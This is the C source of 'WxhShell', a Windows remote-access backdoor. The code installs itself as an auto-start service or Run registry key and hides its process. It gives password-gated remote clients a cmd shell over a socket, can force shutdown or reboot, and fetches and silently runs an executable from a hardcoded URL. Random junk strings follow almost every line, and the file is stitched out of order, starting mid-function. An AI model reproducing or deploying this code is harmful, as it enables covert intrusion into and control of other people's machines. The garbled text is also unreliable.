    } S{l)hwlE  
  // 关机 Q.Nw#r+m  
  case 'd': { :atd_6   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Iv 3O8 GU  
    if(Boot(SHUTDOWN)) QpQ2hNf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~xY"P)(x;  
    else { ZJWpb  
    closesocket(wsh); &'k(v(>n,  
    ExitThread(0); B6&[_cht  
    } ~x9J&*zxM  
    break; 1o\2\B=k{  
    } Heh&;c  
  // 获取shell Jy}~ZY  
  case 's': { 6 L4\UT r  
    CmdShell(wsh); <?IDCOt ?  
    closesocket(wsh); %E@o8  
    ExitThread(0); m_Ed[h/I  
    break; tik*[1it  
  } | WJ]7C  
  // 退出 \PT!mbB?  
  case 'x': { hY{4_ie=8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); YC 4c-M  
    CloseIt(wsh); FEu}zt@  
    break; 4rL`||  
    } /q>ExXsEC  
  // 离开 bf.+Ewb(  
  case 'q': { tgCp2 `n  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); nHbi{,3  
    closesocket(wsh); T=pP  
    WSACleanup(); _J \zj  
    exit(1); ejR$N!LL  
    break; +-;v+{  
        } qh6b;ae\x  
  } r1IvA^X  
  } *jc >?)k  
,2Ed^!`  
  // 提示信息 ZG H 7_K  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rMJ@oc  
} ~.^:?yCA  
  } m=E/um[D  
:kI[Pf!z  
  return; X4:84  
} ;sYDs71y  
P]^8Enp  
// shell模块句柄 B0yGr\KJ  
int CmdShell(SOCKET sock) . mO8 ~Z  
{ }O crA/  
STARTUPINFO si; Q?j '4  
ZeroMemory(&si,sizeof(si)); 0&NM=~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R?lTB3"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l[5** ?#  
PROCESS_INFORMATION ProcessInfo; <astIu Au  
char cmdline[]="cmd"; Z)xcxSo  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); : ^}!"4{  
  return 0; Y{e,I-"{  
} & ;5f/  
:I";&7C  
// 自身启动模式 mp sX4  
int StartFromService(void) 2l V`UIa  
{ ,V]FAIJ  
typedef struct z"7?I$N Q  
{ 2Q(ZW@0  
  DWORD ExitStatus; :n~Mg{j3  
  DWORD PebBaseAddress; vxPr)"Vvz  
  DWORD AffinityMask; N4VZl[7?  
  DWORD BasePriority; X(d:!-_m *  
  ULONG UniqueProcessId; /o$6"~t  
  ULONG InheritedFromUniqueProcessId; xG edY*[`  
}   PROCESS_BASIC_INFORMATION; GBg  
 Iw?^  
PROCNTQSIP NtQueryInformationProcess; d=+zOF  
3C=QWw?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; dMjQV&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; t4;gY298  
={o4lFe3v(  
  HANDLE             hProcess; =HMCNl  
  PROCESS_BASIC_INFORMATION pbi; o\W>$$EXD  
R3_;!/1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |]q{ qsy  
  if(NULL == hInst ) return 0; V3*@n*"N;  
LQ Ux}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *j,noHUT~>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7!`1K_v6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %CQa8<q  
gJwX  
  if (!NtQueryInformationProcess) return 0; UjunIKX+  
M^l%*QF[,q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ueW/i  
  if(!hProcess) return 0; e]!`94f  
s]=XAm"4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0#yH<h$   
?^-fivzS>  
  CloseHandle(hProcess); h^IizrqU  
Qt'3v"S>)  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Tp~Qg{%Og  
if(hProcess==NULL) return 0; Gl{2"!mt=  
[=. iJ5,{2  
HMODULE hMod; 1GR|$E  
char procName[255]; &?@U_emLi  
unsigned long cbNeeded; fRk'\jzT  
%T<c8w}dP  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1M_6X7PH  
[}Rs  
  CloseHandle(hProcess); .{;RJ:O  
>PdrLwKS  
if(strstr(procName,"services")) return 1; // 以服务启动 ^Bw"+6d  
)<'2 vpz  
  return 0; // 注册表启动 0V"(}!=2a  
} s&WE'  
k?3mFWc  
// 主模块 7PfNPz<4+  
int StartWxhshell(LPSTR lpCmdLine) a&mL Dh/  
{ [UdJ(cGf  
  SOCKET wsl; A;/,</  
BOOL val=TRUE; H,/ =<Th;i  
  int port=0; `7`` 1TL  
  struct sockaddr_in door; _q-k1$ o$  
4yMi9Ri4H  
  if(wscfg.ws_autoins) Install(); XI ><;#  
Bz,Xg-k+  
port=atoi(lpCmdLine); Y>nQ<  
4|j Pr J  
if(port<=0) port=wscfg.ws_port; 4rCw#mVtB  
N1:)Z`r  
  WSADATA data; :=quCzG  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Y.52`s6F  
w1F)R^tU  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |t$%kpp  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [8DPZU@  
  door.sin_family = AF_INET; 0"sZP\<p  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 54]UfmT%I  
  door.sin_port = htons(port); L)H/t6}i  
^'sy hI\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { gz:US 77  
closesocket(wsl); {c $8?6  
return 1; |9m*? 7  
} ]REF1<)4z  
M6Ik'r"M  
  if(listen(wsl,2) == INVALID_SOCKET) { |D;I>O^"R  
closesocket(wsl); :9>U+)%  
return 1; Oeg^%Y   
} .nA9irc  
  Wxhshell(wsl); ZS&+<kGD  
  WSACleanup(); .q 4FGPWz  
=':SOO7  
return 0; oC!z+<  
wUS w 9xg  
} }&l%>P  
Q`=d5Uvw  
// 以NT服务方式启动 ?|hYtV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [].euDrX  
{ RbA.&=3  
DWORD   status = 0; 8X\":l:  
  DWORD   specificError = 0xfffffff; 0w2<2grQ  
H7{kl  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }mk z_P(Z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ( ~>-6Nb 5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /dR:\ffz2  
  serviceStatus.dwWin32ExitCode     = 0; a8y*Jz-E  
  serviceStatus.dwServiceSpecificExitCode = 0; i Hcy,PBD  
  serviceStatus.dwCheckPoint       = 0; ZoqE,ucH  
  serviceStatus.dwWaitHint       = 0; 6099w0fR`  
; jJ%<  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); F'@[ b   
  if (hServiceStatusHandle==0) return; }f6_ 7W%5  
*@ S+J$  
status = GetLastError(); P>] *pD  
  if (status!=NO_ERROR) I<&) P#"  
{ y 5Kr<cF^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; vF{{$)c  
    serviceStatus.dwCheckPoint       = 0; K>2Bz&)  
    serviceStatus.dwWaitHint       = 0; %F0.TR!!n  
    serviceStatus.dwWin32ExitCode     = status; ge&!GO  
    serviceStatus.dwServiceSpecificExitCode = specificError; v?q)E%5j  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Fy^8]u*Fu  
    return; f F9=zrW  
  } Is  ( Ji  
^"J)^3j<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :RXzqC  
  serviceStatus.dwCheckPoint       = 0; Lnltt86  
  serviceStatus.dwWaitHint       = 0; 9iK%@k  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5.U|CL  
} 0*/[z~Z-1  
7  nawnS  
// 处理NT服务事件,比如:启动、停止 pc](  
VOID WINAPI NTServiceHandler(DWORD fdwControl) `jGG^w3  
{ l4E0/ F  
switch(fdwControl) b5%T)hn=  
{ Z~g7^,-t  
case SERVICE_CONTROL_STOP: =%crSuP  
  serviceStatus.dwWin32ExitCode = 0; #t&L}=G{%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @w;&:J9m  
  serviceStatus.dwCheckPoint   = 0; P[gYENQ   
  serviceStatus.dwWaitHint     = 0; kK]L(ZU +  
  { T$Rf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ij7[2V]c  
  } KA9v?_@{F  
  return; D;oX*`  
case SERVICE_CONTROL_PAUSE: /Nd`eUn  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; JHsxaX;c  
  break; zW; sr.  
case SERVICE_CONTROL_CONTINUE: 2Ni {fC?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; gp]T.ol  
  break; &>Nw>V  
case SERVICE_CONTROL_INTERROGATE: Zx%6pZ(.  
  break; e:;u_ be~  
}; r )f+j@KF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Wtj* Z.=:  
} WQltUaF  
`mDCX  
// 标准应用程序主函数 6"U$H$i.G  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) lD1m<AC  
{ {} Zqaf  
z CFXQi  
// 获取操作系统版本 FWQNO(  
OsIsNt=GetOsVer(); Ibu  5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); r[KX"U-  
;Z-%'5hKM  
  // 从命令行安装 ,\ zx4 *  
  if(strpbrk(lpCmdLine,"iI")) Install(); te#Wv9x  
0{.[#!CSk  
  // 下载执行文件 t|}}#Z!I[f  
if(wscfg.ws_downexe) { P^m&oH5]EG  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _G ^Cc}X  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0hOps5c8=  
} h5 PZ?Zd  
o#=O5@>ai  
if(!OsIsNt) { U~Rs?JmTdD  
// 如果时win9x,隐藏进程并且设置为注册表启动 2$yNryd  
HideProc(); ?%i~~hfH#N  
StartWxhshell(lpCmdLine); 1C<@QrT  
} '"]U+aIg  
else (Ujry =f  
  if(StartFromService()) uwWKsZ4:ij  
  // 以服务方式启动 \ H!Klp  
  StartServiceCtrlDispatcher(DispatchTable); `:YCOF  
else g3vR\?c`  
  // 普通方式启动 l !:kwF  
  StartWxhshell(lpCmdLine); 1HBXD\!  
:#Nrypsu  
return 0; Nu7lPEM  
} %"BJW  
QJtO~~-  
%@Nu{?I  
<4%vl+qW  
=========================================== _+}#  
wF$z ?L  
o%[swoM@  
Zd8`95  
u\o~'Jz  
{Z^q?~zC[  
" `-w;/A"MJ  
CsiRM8  
#include <stdio.h> tk!5"`9N  
#include <string.h> J)= "Im)  
#include <windows.h> >|g(/@IO  
#include <winsock2.h> ?dAy_| zD  
#include <winsvc.h> EEj.Kch}4  
#include <urlmon.h> :r}C&3  
)H[Pz.'ah0  
#pragma comment (lib, "Ws2_32.lib") ?CE&F<?#@  
#pragma comment (lib, "urlmon.lib") @*-t.b2k  
;><m[l6  
#define MAX_USER   100 // 最大客户端连接数 Jqz K5)  
#define BUF_SOCK   200 // sock buffer P$*9Z@  
#define KEY_BUFF   255 // 输入 buffer WSOz^]  
/G= ?E]^  
#define REBOOT     0   // 重启 !p{CsR8c  
#define SHUTDOWN   1   // 关机 B PG&R  
WM9z~z'2a  
#define DEF_PORT   5000 // 监听端口 EM,=R  
ZP9x3MHe  
#define REG_LEN     16   // 注册表键长度 +PKd </*]  
#define SVC_LEN     80   // NT服务名长度 7,5Bur  
CRPE:7,D  
// 从dll定义API 9i+`,r  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); q0VR&b`?>D  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); QfRo`l/V9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 63Z^ k(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !AN;  
#N;McF;W  
// wxhshell配置信息 U}DLzn|w  
struct WSCFG { J(w 3A)(  
  int ws_port;         // 监听端口 :r9<wbr)k0  
  char ws_passstr[REG_LEN]; // 口令 V{n7KhN~Y!  
  int ws_autoins;       // 安装标记, 1=yes 0=no W(Rp@=!C  
  char ws_regname[REG_LEN]; // 注册表键名 LyRW\\z2  
  char ws_svcname[REG_LEN]; // 服务名 I*H($ a  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 QVo>Uit   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3a}53? $  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 CI^s~M >  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >Et~h65d5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" LpN3cy>U  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 z"f+;1  
U;t1 K  
}; %BF,;(P  
qIvnPaYW  
// default Wxhshell configuration [G' +s  
struct WSCFG wscfg={DEF_PORT, j%=X ps  
    "xuhuanlingzhe", (h'Bz6K  
    1, ji.T7wn1u  
    "Wxhshell", 5:(/k\9+yv  
    "Wxhshell", "<&) G{  
            "WxhShell Service", DcN!u6sJ  
    "Wrsky Windows CmdShell Service", ~]SCf@pRk  
    "Please Input Your Password: ", 63/a 0Yn  
  1, @W-0ybv  
  "http://www.wrsky.com/wxhshell.exe", bD. KD)5  
  "Wxhshell.exe" CZog?O}<  
    }; b*1yvkX5  
8^sh@j2L  
// 消息定义模块 P|t2%:_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; WV}HN  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Sg*+!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  C=qL0  
char *msg_ws_ext="\n\rExit."; ch33+~Nn  
char *msg_ws_end="\n\rQuit."; $ i%#fN  
char *msg_ws_boot="\n\rReboot..."; {@hJPK8  
char *msg_ws_poff="\n\rShutdown..."; RoNE7|gF:  
char *msg_ws_down="\n\rSave to "; ^0&jy:{  
nWA>u J5  
char *msg_ws_err="\n\rErr!"; NuW6~PV  
char *msg_ws_ok="\n\rOK!"; 1)!2D?w  
ik1asj1  
char ExeFile[MAX_PATH]; <Yg6=e  
int nUser = 0; VxtX%McK  
HANDLE handles[MAX_USER]; D>0(*O  
int OsIsNt; #HZ W57"  
e8S4=W  
SERVICE_STATUS       serviceStatus; oxL)Jx\c9A  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [}yPy))A  
c#TV2@   
// 函数声明 6Ta+f3V   
int Install(void); xxA^A  
int Uninstall(void); HvmE'O8  
int DownloadFile(char *sURL, SOCKET wsh); 88l1g,`**  
int Boot(int flag); u;+8Jg+xH/  
void HideProc(void); RAWzQE }  
int GetOsVer(void); i|m8#*Hd  
int Wxhshell(SOCKET wsl); 2#/23(Wc  
void TalkWithClient(void *cs); #x`K4f)  
int CmdShell(SOCKET sock); |AS~sjWSJ  
int StartFromService(void); ae" o|Q  
int StartWxhshell(LPSTR lpCmdLine); A]ZQ?- L/  
LW k/h 1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); W8F@nY  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); GL~ Wnt  
-fp/3-  
// 数据结构和表定义 o`G6!  
SERVICE_TABLE_ENTRY DispatchTable[] = -ijzo%&qA  
{ cbl>:ev1h  
{wscfg.ws_svcname, NTServiceMain}, _D$1CaAYo  
{NULL, NULL} +;4;~>Y  
}; QAAuFZs  
yzZzaYv "/  
// 自我安装 ;tQ(l%!  
int Install(void) c\/-*OYr<  
{ _>ZC;+c?  
  char svExeFile[MAX_PATH]; suE8"v!sk  
  HKEY key; [5ncBY*A7  
  strcpy(svExeFile,ExeFile); Kj)sL0  
41P0)o  
// 如果是win9x系统,修改注册表设为自启动 s\<UDW  
if(!OsIsNt) { 2qojU%fiH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #%w+PL:*O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); maeQ'Sv_&  
  RegCloseKey(key); oY0*2~sg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8!YQ9T[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'n=bQ"bQu  
  RegCloseKey(key); yEk|(6+^  
  return 0; }ice*3'3  
    } vKWi?}1  
  } o")"^@Zh i  
} h?v8b+:0  
else { :aBm,q9i:}  
TQb@szp:|  
// 如果是NT以上系统,安装为系统服务 rIb~@cR)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); y4l-o  
if (schSCManager!=0) H4sW%nZ0  
{ m(o`;  
  SC_HANDLE schService = CreateService { ^^5FE)%  
  ( OQ4Pk/-'  
  schSCManager, x)Zb:"  
  wscfg.ws_svcname, Hpa6; eT  
  wscfg.ws_svcdisp, &iZt(XD  
  SERVICE_ALL_ACCESS, (P;TM1k  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , QT zN  
  SERVICE_AUTO_START, (EvYrm4  
  SERVICE_ERROR_NORMAL, 5D2mZ/  
  svExeFile, q*5L",  
  NULL, 7VG*Wu  
  NULL, -agB ]j  
  NULL, hW'b'x<  
  NULL,  v\CBw"  
  NULL A FBH(ms't  
  ); P3-O)m]jv  
  if (schService!=0) mZc;n.$U  
  { _|W&tB *  
  CloseServiceHandle(schService); ?iV}U  
  CloseServiceHandle(schSCManager); m mZP;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); h  Ypj  
  strcat(svExeFile,wscfg.ws_svcname); k=mLcP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { tzfyS#E  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Z,/^lg c,  
  RegCloseKey(key); ~cyKPg6  
  return 0;  ^#C+l  
    } U;TS7A3  
  } wN10Drc   
  CloseServiceHandle(schSCManager); SvQ|SKE':  
} SjpCf8Z(  
} *aC[Tv[-P  
[s`B0V`04  
return 1; [[]y Q "  
} -G@uB_Cs  
6P}?+ Gc  
// 自我卸载 ~k-'  
int Uninstall(void) r]&sXKDc  
{ @ *~yVV!5  
  HKEY key; A,tg268  
J[r_ag  
if(!OsIsNt) { l)o!&]2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GD)paTwO<  
  RegDeleteValue(key,wscfg.ws_regname); ,YjjL  
  RegCloseKey(key); (gPB@hAv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B~k{f}  
  RegDeleteValue(key,wscfg.ws_regname); '3U,UD5EG  
  RegCloseKey(key); )B +o F7  
  return 0; $GU  s\  
  } ("PZ!z1m1  
} 9M'"q7Kh  
} R-dv$z0  
else { G7|d$!%  
pbDr:kBL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3UW`Jyd`k  
if (schSCManager!=0) rPBsr<k#5  
{ );AtFP0Y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); E2dS@!]V  
  if (schService!=0) lhJY]tQt/  
  { p7Zeudmj  
  if(DeleteService(schService)!=0) { llR5qq=t  
  CloseServiceHandle(schService); )m3emMO2  
  CloseServiceHandle(schSCManager); Lg(G&ljE@k  
  return 0; V`LE 'E  
  } j^8HTa0Cy|  
  CloseServiceHandle(schService); sC[#R.eq  
  } sk<S`J,M/_  
  CloseServiceHandle(schSCManager); 6Iv};f"Y  
} a@&qdp  
} TCzlu#w  
:Zkjtr.\  
return 1; 9S17Lr*c  
} x 9\{a  
Z:,\FB_U  
// 从指定url下载文件 \Gk}Fer  
int DownloadFile(char *sURL, SOCKET wsh) U&:-Vf~&  
{ ME]7e^  
  HRESULT hr; ;`c:Law4  
char seps[]= "/"; qi7*Jjk>90  
char *token; E$4H;SN \  
char *file; B8T5?bl  
char myURL[MAX_PATH]; EXjR&"R  
char myFILE[MAX_PATH]; 5wh(Qdib  
"N_@q2zF  
strcpy(myURL,sURL); /O$~)2^h  
  token=strtok(myURL,seps); Q.7X3A8  
  while(token!=NULL) z1,#ma}.  
  { m(:R(K(je  
    file=token; PWvTC`?  
  token=strtok(NULL,seps); ~N| aCi-X  
  } bA Yp }  
NX(IX6^y  
GetCurrentDirectory(MAX_PATH,myFILE); SeS ZMv  
strcat(myFILE, "\\"); 7b-[# g  
strcat(myFILE, file); @oj_E0i3  
  send(wsh,myFILE,strlen(myFILE),0); *P7n YjG  
send(wsh,"...",3,0); <3tf(?*,k]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); P8=J0&5  
  if(hr==S_OK) y]obO|AH  
return 0; ?P9VdS1-  
else r/0 #D+A  
return 1; k5tyOk  
[]N&,2O  
} G@~e :v)  
y c<%f  
// 系统电源模块 0QquxYYw,  
int Boot(int flag) hUp3$4w  
{ rVsCJuxI  
  HANDLE hToken; +/n]9l]#h  
  TOKEN_PRIVILEGES tkp; $^ir3f+  
KYKF$@ <G  
  if(OsIsNt) { ]v@ng8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); yGWl8\,j0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); s5{H15  
    tkp.PrivilegeCount = 1; ^mI`P}5Y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; v6aMYmenBH  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); SI%J+Y7  
if(flag==REBOOT) { SJj_e-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .3Smqwm=Y  
  return 0; Vu~fF@ |  
} C'l\4ij)7  
else { j+/EG^*/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -~\7ZRP8  
  return 0; 0{o 8-#  
} ;YQ6X>  
  } Yu&\a?]\2  
  else { FU}- .Ki  
if(flag==REBOOT) { QJkiu8r  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Gb Mu;CA  
  return 0; 2y8FP#  
} ;9=4]YZt  
else { G+C{_o#3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) s%> u[-9U  
  return 0; kaEu\@%n  
} 5qqU8I  
} "4smW>f:%  
j `3IizN2  
return 1; o 0b\<}  
} @N> rOA  
2e ~RM2PQ  
// win9x进程隐藏模块 HQ4WunH2Y  
void HideProc(void) rvnm*e,  
{ WYCDEoqU2  
D,-L!P  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;tD?a7  
  if ( hKernel != NULL ) EmP2r*"rb  
  { }!s$ / Kn  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [ CU8%%7  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1_}k)(n  
    FreeLibrary(hKernel); ih:%U  
  } j}jU.\*v<  
Wk-. dJ  
return; ND 8;1+3  
} b_~KtMO  
.:;q8FL/  
// 获取操作系统版本 H0.&~!,*  
int GetOsVer(void) l$!NEOK  
{ =<= [E:B  
  OSVERSIONINFO winfo; )In;nc  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); G jrN1+9=  
  GetVersionEx(&winfo); ?f:\&+.&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) j=>WWlZ  
  return 1; e<Oz%  
  else V+*1?5w  
  return 0; kwt;pxp i  
} &j{I G`Trl  
f%YD+Dt_V  
// 客户端句柄模块 <lPHeO<^]  
int Wxhshell(SOCKET wsl) tE=$#  
{ +#'QP#  
  SOCKET wsh; Xd~lifF  
  struct sockaddr_in client; 2b#> ~  
  DWORD myID; ?* dfIc  
ooYs0/,{  
  while(nUser<MAX_USER) zfml^N  
{ gp{P _  
  int nSize=sizeof(client); mA3yM#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); etP`q:6^c  
  if(wsh==INVALID_SOCKET) return 1; FFF7f5F  
$:DhK  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); hJ V*  
if(handles[nUser]==0) QO,ge<N+N  
  closesocket(wsh); z]i/hU  
else cC,gd\}M  
  nUser++; yLt?XhRlp  
  } ]b&qC (  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); E|B1h!!\c  
'BEM:1)  
  return 0; YjG:ECj}  
} !P_'n  
<{1 3Nd'o  
// 关闭 socket n] n3/wpO  
void CloseIt(SOCKET wsh) umiD2BRZ  
{ hN:2(x  
closesocket(wsh); FkoN+\d  
nUser--; v|>'m#Ln2  
ExitThread(0); jZ69sDhE  
} eJ$ {`&J  
/lvH p  
// 客户端请求句柄 U C9w T  
void TalkWithClient(void *cs) W}oAgUd  
{ SRk-3:  
X_I.f6v{  
  SOCKET wsh=(SOCKET)cs; akA C^:F  
  char pwd[SVC_LEN]; *:,7 A9LY  
  char cmd[KEY_BUFF]; zhde1JE  
char chr[1]; 4\8k~ #  
int i,j; -Ar 3>d  
nHL(v  
  while (nUser < MAX_USER) { zd [cp@  
 qZP>h4  
if(wscfg.ws_passstr) { #1f8A5<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O7I|<H/gVE  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r|7hm:F)  
  //ZeroMemory(pwd,KEY_BUFF); rwdj  
      i=0; }Rq-IRa'  
  while(i<SVC_LEN) { i+.bR.WO  
Wv)2dD2I  
  // 设置超时 C[(Exe  
  fd_set FdRead; `L}Irt}  
  struct timeval TimeOut; IqONDdep9  
  FD_ZERO(&FdRead); o//PlG~  
  FD_SET(wsh,&FdRead); T k>N4yq  
  TimeOut.tv_sec=8; jvos)$;L-  
  TimeOut.tv_usec=0; C0Ti9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9Fxz9_ i  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); NvlG@^&S  
c7N`W}BZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T\Q)"GB  
  pwd=chr[0]; 8/E?3a_g-  
  if(chr[0]==0xd || chr[0]==0xa) { xo_Es?  
  pwd=0; E%+1^ L  
  break; l4Y}<j\;  
  } =zW.~(c{  
  i++; PfVjfrI[  
    } D(<20b,  
^?tF'l`  
  // 如果是非法用户,关闭 socket >?A3;O]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Lv ,Ls  
} (@?PN+68|  
N;\by<snN  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @7';bfsix  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fM)RO7  
u_U51C\rb  
while(1) { 4E& 3{hnp  
PDssEb7  
  ZeroMemory(cmd,KEY_BUFF); H\<C@OkJS}  
n ZM|8  
      // 自动支持客户端 telnet标准   yf7p0;$?  
  j=0; N8l(m5Kk,k  
  while(j<KEY_BUFF) { ';!02=-@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  0$l D  
  cmd[j]=chr[0]; /z+}xRS  
  if(chr[0]==0xa || chr[0]==0xd) { t=ry\h{Pc  
  cmd[j]=0; < F Cr L  
  break; O<h`[1eUjS  
  } ;dYpdy  
  j++; m:~s6c6H  
    } Em R#)c~(W  
? <slB>8  
  // 下载文件 q-}J0vu\K  
  if(strstr(cmd,"http://")) { hQgi--Msw'  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,*V{g pC7  
  if(DownloadFile(cmd,wsh)) !g~xn2m$R  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %-:6#b z  
  else 8P'>%G<m  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Piz/vH6M}  
  } \^3\_T&6  
